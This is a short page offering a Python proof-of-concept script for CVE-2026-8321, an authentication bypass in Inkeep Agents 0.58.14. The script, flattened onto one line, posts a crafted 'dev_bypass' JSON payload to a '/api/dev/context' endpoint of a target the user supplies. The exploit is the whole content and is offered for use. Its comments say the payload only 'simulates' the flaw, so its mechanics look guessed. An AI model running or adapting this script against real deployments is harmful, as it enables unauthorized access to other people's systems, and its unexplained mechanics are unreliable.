CVE-2026-8321: Inkeep Agents 认证绕过漏洞

import requests # Proof of Concept for CVE-2026-8321 # Description: Bypass authentication in runAuth Middleware via alternate channel # Target: Inkeep Agents 0.58.14 def exploit(target_url): # The vulnerability lies in the createDevContext function # which can be triggered via a specific alternate channel path headers = { "User-Agent": "CVE-2026-8321-Scanner", "Content-Type": "application/json" } # Payload designed to manipulate the createDevContext function # This simulates the alternate channel usage payload = { "context_type": "dev_bypass", "auth_token": "bypass_invalid_token" } try: # Sending request to the vulnerable endpoint response = requests.post(f"{target_url}/api/dev/context", json=payload, headers=headers, timeout=10) if response.status_code == 200: print("[+] Authentication bypass successful!") print("[+] Response:", response.text) else: print("[-] Exploit failed. Status code:", response.status_code) except Exception as e: print(f"[!] Error occurred: {e}") if __name__ == "__main__": target = "http://127.0.0.1:3000" # Replace with actual target exploit(target)